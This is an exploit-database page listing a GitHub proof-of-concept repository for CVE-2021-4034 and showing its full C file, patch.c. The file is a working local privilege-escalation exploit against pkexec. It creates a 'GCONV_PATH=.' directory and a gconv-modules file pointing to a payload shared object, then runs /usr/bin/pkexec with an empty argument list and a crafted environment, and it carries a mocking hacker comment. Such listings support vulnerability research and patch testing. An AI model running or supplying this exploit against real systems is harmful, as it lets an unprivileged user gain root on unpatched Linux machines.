Exploit database

GH-b2097c19e362e55a929f0998f6b9e294

moldabekov/cve-2021-4034

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-4034

144 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
moldabekov/cve-2021-4034Revision e0dab262b0ff

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

patch.c

Suggested starting fileC · 829 bytes
/*
 *
 * I am in ur compuuuterz
 * Watching ur @ night
 *
 */

#include <stdlib.h>
#include <sys/stat.h>
#include <stdio.h>

int main()
{
    char *argv[] = { NULL };

    char *envp[] = {
        "temp",
        "PATH=GCONV_PATH=.",
        "SHELL=nonexistent",
        "CHARSET=nonexistent",
        NULL
    };

    struct stat st = {0};

    if (stat("GCONV_PATH=.", &st) == -1) {
	mkdir("GCONV_PATH=.", 0775);
    }

    if (stat("temp", &st) == -1) {
    	mkdir("temp", 0775);
    }

    if (fopen("GCONV_PATH=./temp", "a") == NULL) {
    	exit(1);
    }

    chmod("GCONV_PATH=./temp", 0777);

    FILE *f = fopen("temp/gconv-modules", "a");
    fprintf(f, "module\tINTERNAL\tnonexistent//\tpayload\t2\n");
    fclose(f);
    
    system("cp payload.so temp/");
    execve("/usr/bin/pkexec", argv, envp);

    return 0;
}